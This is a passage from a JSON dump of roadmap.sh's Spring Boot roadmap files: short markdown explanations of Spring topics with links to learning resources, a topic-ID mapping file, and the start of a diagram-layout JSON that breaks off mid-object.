    "content": "# Circuit Breaker\n\nSpring Cloud Circuit Breaker is a library for managing the fault tolerance of microservices-based applications using the Circuit Breaker pattern. The Circuit Breaker pattern is a design pattern that helps to prevent cascading failures and improve the resilience of distributed systems. It does this by introducing a \"circuit breaker\" proxy in front of a service that can detect when the service is unresponsive or has failed, and stop routing traffic to it temporarily, in order to allow the service to recover.\n\nVisit the following resources to learn more:\n\n- [@official@Spring Cloud Circuit Breaker](https://spring.io/projects/spring-cloud-circuitbreaker)\n- [@article@Quick Guide to Spring Cloud Circuit Breaker](https://www.baeldung.com/spring-cloud-circuit-breaker)\n- [@article@Spring Cloud - Circuit Breaker using Hystrix](https://www.tutorialspoint.com/spring_cloud/spring_cloud_circuit_breaker_using_hystrix.htm)\n- [@feed@Explore top posts about Cloud](https://app.daily.dev/tags/cloud?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/spring-cloud-gateway@f-i0NX2KOzCh3JwkaSPFo.md",
    "content": "# Spring Cloud Gateway\n\nSpring Cloud Gateway is a Spring Framework library for building API gateways. An API gateway is a service that acts as an intermediary between an application and a set of microservices. The API gateway is responsible for request routing, composition, and protocol translation, among other things. It can also perform tasks such as authentication, rate limiting, and caching.\n\nVisit the following resources to learn more:\n\n- [@official@Spring Cloud Gateway](https://spring.io/projects/spring-cloud-gateway)\n- [@article@What is Spring Cloud Gateway?](https://tanzu.vmware.com/developer/guides/scg-what-is/)\n- [@article@Exploring the New Spring Cloud Gateway](https://www.baeldung.com/spring-cloud-gateway)\n- [@feed@Explore top posts about Cloud](https://app.daily.dev/tags/cloud?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/spring-cloud-open-feign@EKSXTMSN2xdaleJ4wOV1A.md",
    "content": "# Spring Cloud OpenFeign\n\nSpring Cloud OpenFeign is a library for creating declarative REST clients in Spring applications. It allows developers to easily make HTTP requests to other microservices or remote services, without having to manually write the low-level code to handle the requests and responses. OpenFeign is built on top of the OpenFeign declarative HTTP client, which is a simple, lightweight library for creating HTTP clients in Java.\n\nVisit the following resources to learn more:\n\n- [@official@Spring Cloud OpenFeign](https://spring.io/projects/spring-cloud-openfeign)\n- [@article@Introduction to Spring Cloud OpenFeign](https://www.baeldung.com/spring-cloud-openfeign)\n- [@article@Simple Implementation of Spring Cloud OpenFeign](https://medium.com/javarevisited/simple-implementation-of-spring-cloud-openfeign-7f022630d01d)\n- [@feed@Explore top posts about Cloud](https://app.daily.dev/tags/cloud?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/spring-cloud@VWNDYSw83Vzi2UPQprJ5z.md",
    "content": "# Spring Cloud\n\nSpring Cloud is a collection of libraries and tools for building cloud-native applications using the Spring Framework. It provides a set of abstractions and implementations for common patterns and best practices used in cloud-based applications, such as service discovery, configuration management, and circuit breaker patterns, among others.\n\nVisit the following resources to learn more:\n\n- [@official@Spring Cloud](https://spring.io/projects/spring-cloud)\n- [@article@Spring Cloud – Bootstrapping](https://www.baeldung.com/spring-cloud-bootstrapping)\n- [@feed@Explore top posts about Cloud](https://app.daily.dev/tags/cloud?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/spring-data-jdbc@dd1A-MyzBs_kNOtVG7f1D.md",
    "content": "# Spring Data JDBC\n\nSpring Data JDBC is a part of the Spring Data project that provides support for using JDBC (Java Database Connectivity) to interact with relational databases. It is designed to provide a simple and consistent programming model for interacting with databases using JDBC, while still allowing for the full power of JDBC to be used if needed. Spring Data JDBC provides a set of abstraction and utility classes that simplify the task of working with databases, such as a simple template class for executing SQL queries, a repository abstraction for implementing data access objects (DAOs), and support for pagination and sorting of query results. It works with both Java and Kotlin.\n\nVisit the following resources to learn more:\n\n- [@official@Spring Data JDBC](https://spring.io/projects/spring-data-jdbc)\n- [@article@Spring Data JDBC - Reference Documentation](https://docs.spring.io/spring-data/jdbc/docs/current/reference/html/)\n- [@article@Introduction to Spring Data JDBC](https://www.baeldung.com/spring-data-jdbc-intro)\n- [@feed@Explore top posts about Spring Framework](https://app.daily.dev/tags/spring?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/spring-data-jpa@6u08QN-pUeFm3o0h5Scfm.md",
    "content": "# Spring Data JPA\n\nSpring Data JPA is a library that makes it easy to implement Java Persistence API (JPA) based repositories (a fancy word for \"DAO\") for Spring applications. It's an abstraction on top of JPA that allows you to use a simpler and more convenient API for performing CRUD (Create, Read, Update, Delete) operations on databases. Spring Data JPA also provides additional functionality such as pagination, dynamic query generation, and more.\n\nVisit the following resources to learn more:\n\n- [@official@Spring Data JPA](https://spring.io/projects/spring-data-jpa)\n- [@article@Introduction to Spring Data JPA](https://www.baeldung.com/the-persistence-layer-with-spring-data-jpa)\n- [@feed@Explore top posts about Spring Framework](https://app.daily.dev/tags/spring?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/spring-data-mongodb@fy-TphbqkLpR1zvFcr7dg.md",
    "content": "# Spring Data Mongodb\n\nSpring Data for MongoDB is part of the umbrella Spring Data project which aims to provide a familiar and consistent Spring-based programming model for new datastores while retaining store-specific features and capabilities\n\nThe Spring Data MongoDB project provides integration with the MongoDB document database. Key functional areas of Spring Data MongoDB are a POJO centric model for interacting with a MongoDB DBCollection and easily writing a Repository style data access layer.\n\nVisit the following resources to learn more:\n\n- [@official@Spring Data MongoDB](https://spring.io/projects/spring-data-mongodb)\n- [@official@Spring Boot Integration with MongoDB Tutorial](https://www.mongodb.com/compatibility/spring-boot)\n- [@article@Introduction to Spring Data MongoDB](https://www.baeldung.com/spring-data-mongodb-tutorial)\n- [@feed@Explore top posts about MongoDB](https://app.daily.dev/tags/mongodb?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/spring-data@pvVLbFQoT50vz_VRK4VbJ.md",
    "content": "# Spring Data\n\nSpring Data is a collection of projects for data access in Spring-based applications. It provides a common interface for working with various types of data stores, including relational databases, NoSQL data stores, and cloud-based data services. The goal of Spring Data is to simplify data access in Spring applications by providing a consistent, high-level repository programming model across different data stores and data access technologies. This can help developers write less boilerplate code and focus on business logic, while still being able to take advantage of the full power of the underlying data store.\n\nVisit the following resources to learn more:\n\n- [@official@Spring Data](https://spring.io/projects/spring-data)\n- [@article@Spring Data – One API To Rule Them All?](https://www.infoq.com/articles/spring-data-intro/)\n- [@article@What is JPA, Spring Data and Spring Data JPA](https://www.amitph.com/jpa-and-spring-data-jpa/)\n- [@feed@Explore top posts about Spring Framework](https://app.daily.dev/tags/spring?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/spring-ioc@PlUU_vzFQ3Xx6Z5XREIYP.md",
    "content": "# Spring IOC\n\nInversion of Control (IoC) is a design pattern that is often used in conjunction with the Dependency Injection (DI) pattern. The basic idea behind IoC is to invert the flow of control in a program, so that instead of the program controlling the flow of logic and the creation of objects, the objects themselves control the flow of logic and the creation of other objects.\n\nSpring is a popular Java framework that uses IoC and DI to provide a more flexible, modular approach to software development. The Spring IoC container is responsible for managing the creation and configuration of objects in a Spring-based application.\n\nVisit the following resources to learn more:\n\n- [@article@Spring IoC, Spring Bean Example Tutorial](https://www.digitalocean.com/community/tutorials/spring-ioc-bean-example-tutorial)\n- [@article@Intro to Inversion of Control with Spring](https://www.baeldung.com/inversion-control-and-dependency-injection-in-spring)\n- [@feed@Explore top posts about Spring Framework](https://app.daily.dev/tags/spring?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/spring-mvc@QiNWE4sMTao3cVzjt3yPp.md",
    "content": "# Spring MVC\n\nSpring MVC is a framework for building web applications in Java. It is part of the Spring Framework, which is a larger ecosystem of tools for building Java applications. Spring MVC is built on the Model-View-Controller (MVC) design pattern, which helps to separate the concerns of the application into three distinct components: the Model, the View, and the Controller.\n\nSpring MVC provides a powerful and flexible way to build web applications, and it integrates well with other parts of the Spring ecosystem, such as Spring Security for authentication and authorization, and Spring Data for data access.\n\nVisit the following resources to learn more:\n\n- [@official@Web MVC framework](https://docs.spring.io/spring-framework/docs/3.2.x/spring-framework-reference/html/mvc.html)\n- [@article@Spring - MVC Framework](https://www.tutorialspoint.com/spring/spring_web_mvc_framework.htm)\n- [@feed@Explore top posts about Spring Framework](https://app.daily.dev/tags/spring?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/spring-mvc@S-BbOoRD7anvoJrprjoKF.md",
    "content": "# Spring MVC\n\nSpring MVC is a web application framework that is part of the Spring Framework. It is designed to make it easy to build web applications using the Model-View-Controller (MVC) design pattern.\n\nIn Spring MVC, the application is divided into three main components: the Model, the View, and the Controller. The Model represents the data and the business logic of the application, the View is responsible for generating the HTML that is sent to the client's web browser, and the Controller acts as an intermediary between the Model and the View, handling incoming HTTP requests and generating the appropriate response.\n\nVisit the following resources to learn more:\n\n- [@article@Spring - MVC Framework](https://www.tutorialspoint.com/spring/spring_web_mvc_framework.htm)\n- [@article@Spring MVC Tutorial – Everything You Need To Know](https://www.edureka.co/blog/spring-mvc-tutorial/)\n- [@feed@Explore top posts about Spring Framework](https://app.daily.dev/tags/spring?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/spring-security@KaUdyVWEiZa6lUDRBlOKt.md",
    "content": "# Spring security\n\nSpring Security is a framework for securing Java-based applications. It is a powerful and highly customizable authentication and access-control framework that can be easily integrated with a wide variety of applications, including web applications and RESTful web services. Spring Security provides a comprehensive security solution for both authentication and authorization, and it can be used to secure applications at both the web and method level.\n\nVisit the following resources to learn more:\n\n- [@official@Spring Security](https://spring.io/projects/spring-security)\n- [@article@What is Spring security](https://www.javadevjournal.com/spring/what-is-spring-security/)\n- [@article@Spring Security: Authentication and Authorization In-Depth](https://www.marcobehler.com/guides/spring-security)\n- [@feed@Explore top posts about Security](https://app.daily.dev/tags/security?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/springboottest-annotation@p91CaVPh5GMzFU0yEU_hl.md",
    "content": "# @SpringBootTest annotation\n\n`@SpringBootTest` This annotation is used to create a fully-configured instance of the Spring ApplicationContext for testing. It can be used to test the application's components, including controllers, services, and repositories, in a real application environment.\n\nVisit the following resources to learn more:\n\n- [@official@Annotation Interface SpringBootTest](https://docs.spring.io/spring-boot/docs/current/api/org/springframework/boot/test/context/SpringBootTest.html)\n- [@article@Testing with Spring Boot and @SpringBootTest](https://reflectoring.io/spring-boot-test/)\n- [@article@Testing in Spring Boot](https://www.baeldung.com/spring-boot-testing)\n- [@feed@Explore top posts about Spring Framework](https://app.daily.dev/tags/spring?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/terminology@WrUCyVfFNUpHB8jyjjKna.md",
    "content": "# Terminology\n\nSpring Core, the base of the Spring Framework, provides a model for configuring Java applications. Key concepts include **Beans** (Java objects managed by Spring), **Inversion of Control (IoC)** (Spring managing bean lifecycles and dependencies), and **Dependency Injection (DI)** (Spring providing bean dependencies). The **Spring container** (specifically an **ApplicationContext**) creates and manages these beans. Spring also offers **Aspect-Oriented Programming (AOP)** for handling cross-cutting concerns, an **event model** for decoupled communication using **ApplicationEvent** and **listeners**, abstractions for **Data Access** and **Transactions**, and utilities for **Task Execution and Scheduling**.\n\nVisit the following resources to learn more:\n\n- [@official@Spring Boot](https://spring.io/projects/spring-boot)\n- [@official@Spring Boot - Starter Guide](https://spring.io/quickstart)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/testing@7Qqrh_Rz_7uAD49g9sDzi.md",
    "content": "# Testing\n\nSpring provides a set of testing utilities that make it easy to test the various components of a Spring application, including controllers, services, repositories, and other components. It has a rich set of testing annotations, utility classes and other features to aid in unit testing, integration testing and more.\n\nVisit the following resources to learn more:\n\n- [@article@What Is Spring Testing?](https://www.developer.com/design/what-is-spring-testing/)\n- [@article@Complete Guide To Spring Testing](https://www.lambdatest.com/blog/spring-testing/)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/transactions@H9Z0EvKT_148vD0mR-dUf.md",
    "content": "# Transactions\n\nA transaction simply represents a unit of work. In such case, if one step fails, the whole transaction fails (which is termed as atomicity). A transaction can be described by ACID properties (Atomicity, Consistency, Isolation and Durability).\n\nIn hibernate framework, we have Transaction interface that defines the unit of work. It maintains abstraction from the transaction implementation (JTA,JDBC).\n\nVisit the following resources to learn more:\n\n- [@article@Hibernate Transaction Management](https://www.javaguides.net/2018/12/hibernate-transaction-management-tutorial.html)\n- [@article@Hibernate Transaction](https://www.w3schools.blog/hibernate-transaction-management)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/why-use-spring@WGf3W6bdWL0rK0o6O28G2.md",
    "content": "# Why Spring\n\nSpring Boot provides a number of features that make it easier to create a Spring-based application, including:\n\n*   Embedded Application Server\n*   Automatic Configuration\n*   Pre-configured Starters\n*   Ease of Packaging and Distribution\n*   Ease of monitoring through built-in health check endpoint and the ability to customize the management endpoint.\n\nAdditionally, it's come with a lot of best practices and conventions baked in, which reduces the amount of work and boiler plate code developers need to write.\n\nVisit the following resources to learn more:\n\n- [@official@Why Spring?](https://spring.io/why-spring)\n- [@article@Spring vs Spring Boot: Know The Difference](https://www.interviewbit.com/blog/spring-vs-spring-boot)\n- [@article@A Comparison Between Spring and Spring Boot](https://www.baeldung.com/spring-vs-spring-boot)\n- [@article@Advantages of Spring Boot](https://www.adservio.fr/post/advantages-of-spring-boot)\n- [@feed@Explore top posts about Spring Framework](https://app.daily.dev/tags/spring?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/spring-boot/migration-mapping.json",
    "content": "{\n  \"spring-core\": \"jy2heDVZuM6ASCXlI1TDn\",\n  \"spring-core:introduction:terminology\": \"WrUCyVfFNUpHB8jyjjKna\",\n  \"spring-core:introduction:architecture\": \"yuXN-rD4AyyPYUYOR50L_\",\n  \"spring-core:introduction:why-spring\": \"WGf3W6bdWL0rK0o6O28G2\",\n  \"spring-core:configuration\": \"OB--nMudscm0p6RqqfA7T\",\n  \"spring-core:dependency-injection\": \"C2EQ5J1aJYF9e9Rr2KysT\",\n  \"spring-core:spring-ioc\": \"PlUU_vzFQ3Xx6Z5XREIYP\",\n  \"spring-core:spring-aop\": \"wV1_I_4czMIxpBionvLs4\",\n  \"spring-core:spring-mvc\": \"QiNWE4sMTao3cVzjt3yPp\",\n  \"spring-core:annotations\": \"HdCpfGMrMaXxk5QrtYn3X\",\n  \"spring-core:spring-bean-scope\": \"KdN62IpNgPFMndXfLaYa1\",\n  \"spring-security\": \"KaUdyVWEiZa6lUDRBlOKt\",\n  \"spring-security:authentication\": \"ssdk2iAt4avhc8B5tnIzQ\",\n  \"spring-security:authorization\": \"c7w7Z3Coa81FKa_yAKTse\",\n  \"spring-security:oauth2\": \"p7t3RlIIm9U08GFC6azff\",\n  \"spring-security:jwt-authentication\": \"1My7mbdwAbRcJoiA50pWW\",\n  \"spring-boot-starters\": \"JrH2hiu27PhIO1VtrArMa\",\n  \"autconfiguration\": \"88-h3d7kb-VmUBsnUUXW_\",\n  \"spring-boot-actuators\": \"N7hd3d_XQtvOgnCqdCFt3\",\n  \"embedded-server\": \"ONb0VnSUMY8JBeW3G2mTp\",\n  \"hibernate\": \"h5-HnycxfbJgwalSdXTAz\",\n  \"hibernate:transactions\": \"H9Z0EvKT_148vD0mR-dUf\",\n  \"hibernate:relationships\": \"D4ybyh0ydvl9W2_xUcvZ_\",\n  \"hibernate:entity-lifecycle\": \"Ijmy0J3VyaeTGXtu2VkkQ\",\n  \"spring-data\": \"pvVLbFQoT50vz_VRK4VbJ\",\n  \"spring-data:spring-data-jpa\": \"6u08QN-pUeFm3o0h5Scfm\",\n  \"spring-data:spring-data-mongodb\": \"fy-TphbqkLpR1zvFcr7dg\",\n  \"spring-data:spring-data-jdbc\": \"dd1A-MyzBs_kNOtVG7f1D\",\n  \"microservices\": \"jU_KHoPUSU_HoIKk0ZpRF\",\n  \"microservices:spring-cloud\": \"VWNDYSw83Vzi2UPQprJ5z\",\n  \"microservices:spring-cloud:spring-cloud-gateway\": \"f-i0NX2KOzCh3JwkaSPFo\",\n  \"microservices:spring-cloud:cloud-config\": \"9hG3CB8r41bUb_s8-0u73\",\n  \"microservices:spring-cloud:spring-cloud-circuit-breaker\": \"kqpSlO--X9-xYxfq1KFVe\",\n  \"microservices:spring-cloud:spring-cloud-openfeign\": \"EKSXTMSN2xdaleJ4wOV1A\",\n  \"microservices:spring-cloud:eureka\": \"6sLE6gb5Y477SmO2GhQIG\",\n  \"spring-mvc\": \"S-BbOoRD7anvoJrprjoKF\",\n  \"spring-mvc:servlet\": \"35NTx2eO1j02sjy4m6DPq\",\n  \"spring-mvc:jsp-files\": \"Lz0GPMiYzb30iFJdv1dL6\",\n  \"spring-mvc:architecture\": \"_vS_zdJZegZS6MIKAFyg8\",\n  \"spring-mvc:components\": \"sgA06Tu9Y4cEHtfI8CyLL\",\n  \"testing\": \"7Qqrh_Rz_7uAD49g9sDzi\",\n  \"testing:jpa-test\": \"Nhx2QiSD_4pVWD17lsCbu\",\n  \"testing:mock-mvc\": \"5d1BERqTKNJMKiBcqa8Ie\",\n  \"testing:spring-boot-test-annotation\": \"p91CaVPh5GMzFU0yEU_hl\",\n  \"testing:mockbean-annotation\": \"i77NTa0hpGGBjmql9u_CT\"\n}"
  },
  {
    "path": "src/data/roadmaps/spring-boot/spring-boot.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"4qvR1QQzrmoVIVCAsp92H\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -225.22890816639756,\n        \"y\": 1663.454217904046\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 87\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -225.22890816639756,\n        \"y\": 1663.454217904046\n      }\n    },\n    {\n      \"id\": \"HU7wZWiES3m3xl1-NYP6F\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -309.8175069304428,\n        \"y\": -32.800633281393\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Spring Boot\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 68\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 189,\n      \"height\": 68,\n      \"positionAbsolute\": {\n        \"x\": -309.8175069304428,\n        \"y\": -32.800633281393\n      }\n    },\n    {\n      \"id\": \"uqyE79OItPOX33E5FoGel\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -225.3175069304428,\n        \"y\": -133.0992517776511\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.75,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 81\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -225.3175069304428,\n        \"y\": -133.0992517776511\n      }\n    },\n    {\n      \"id\": \"CCmziWV0VnzZxVbjVF_br\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -20.138187271993502,\n        \"y\": -148.2948532825934\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the interactive version of this roadmap and more roadmaps at\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        },\n        \"oldId\": \"kpF15oUmlUmk1qVGEBB7Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": -20.138187271993502,\n        \"y\": -148.2948532825934\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 361,\n        \"height\": 151\n      }\n    },\n    {\n      \"id\": \"if9eTna5NRTMStVwpSwDP\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -5.138187271993502,\n        \"y\": -62.09925177765109\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -5.138187271993502,\n        \"y\": -62.09925177765109\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 331,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"w_rUaBorHFOY74S0JiEwM\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": -710.4579568300146,\n        \"y\": -148.2948532825934\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"CVNNr97eZmGVFZyNVmR9b\",\n            \"label\": \"Backend Roadmap\",\n            \"href\": \"\",\n            \"url\": \"https://roadmap.sh/backend\"\n          },\n          {\n            \"id\": \"GoM0EsaFMzWViwio3BucA\",\n            \"label\": \"Java Roadmap\",\n            \"url\": \"https://roadmap.sh/java\"\n          },\n          {\n            \"id\": \"oWh5sZE3GhIEQKIuWYM0o\",\n            \"label\": \"System Design Roadmap\",\n            \"url\": \"https://roadmap.sh/system-design\"\n          },\n          {\n            \"id\": \"4J2nlL7ZFxXlppmulqenS\",\n            \"label\": \"DevOps Roadmap\",\n            \"url\": \"https://roadmap.sh/devops\"\n          },\n          {\n            \"id\": \"RrEJrR6Wt-XM3bt0_Pp_8\",\n            \"label\": \"Docker Roadmap\",\n            \"url\": \"https://roadmap.sh/docker\"\n          },\n          {\n            \"id\": \"ilTMFM-Ll8Rff6zahDRUz\",\n            \"label\": \"Kubernetes Roadmap\",\n            \"url\": \"https://roadmap.sh/kubernetes\"\n          },\n          {\n            \"id\": \"MqthC0yn8eE6cy3eiGUH-\",\n            \"label\": \"Redis Roadmap\",\n            \"url\": \"https://roadmap.sh/redis\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 295\n      },\n      \"dragging\": false,\n      \"width\": 260,\n      \"height\": 288,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.4579568300146,\n        \"y\": -148.2948532825934\n      }\n    },\n    {\n      \"width\": 410,\n      \"height\": 119,\n      \"id\": \"O5dely89N5UCMBeUfh8ud\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -513.7289081663976,\n        \"y\": 1541.454217904046\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"For ecosystem and more, check these other tracks involving GraphQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"0vLaVNJaJSHZ_bHli6Qzs\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -513.7289081663976,\n        \"y\": 1541.454217904046\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 410,\n        \"height\": 119\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 597,\n        \"height\": 122\n      }\n    },\n    {\n      \"width\": 380,\n      \"height\": 49,\n      \"id\": \"6AIUtChWC_gK8Ax0UuBjd\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -499.713703130995,\n        \"y\": 1596.0998753371555\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Java Roadmap\",\n        \"href\": \"https://roadmap.sh/java\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"f5WRewBlpeYMf71cPcXs-\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -499.713703130995,\n        \"y\": 1596.0998753371555\n      },\n      \"style\": {\n        \"width\": 380,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 380,\n      \"height\": 49,\n      \"id\": \"f5WRewBlpeYMf71cPcXs-\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -213.83351566356316,\n        \"y\": 1596.0998753371555\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Backend Roadmap\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"StxLh1r3qXqyRSqfJGird\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -213.83351566356316,\n        \"y\": 1596.0998753371555\n      },\n      \"style\": {\n        \"width\": 380,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WJtVLmJLvKk_vvqhFItZ2\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -329.3175069304428,\n        \"y\": 147.20083230005372\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Visit Java Roadmap\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"https://roadmap.sh/java\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#2a79e4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 228,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -329.3175069304428,\n        \"y\": 147.20083230005372\n      }\n    },\n    {\n      \"id\": \"jy2heDVZuM6ASCXlI1TDn\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -329.3175069304428,\n        \"y\": 233.71361308804387\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Introduction\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"C2N5yOxCtdn_R6ceWvQly\"\n      },\n      \"zIndex\": 999,\n      \"width\": 137,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 228,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -329.3175069304428,\n        \"y\": 233.71361308804387\n      }\n    },\n    {\n      \"id\": \"OB--nMudscm0p6RqqfA7T\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 63.8618127280065,\n        \"y\": 229.71361308804387\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Configuration\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KdN62IpNgPFMndXfLaYa1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 230\n      },\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 63.8618127280065,\n        \"y\": 229.71361308804387\n      }\n    },\n    {\n      \"id\": \"C2EQ5J1aJYF9e9Rr2KysT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 63.8618127280065,\n        \"y\": 282.71361308804387\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      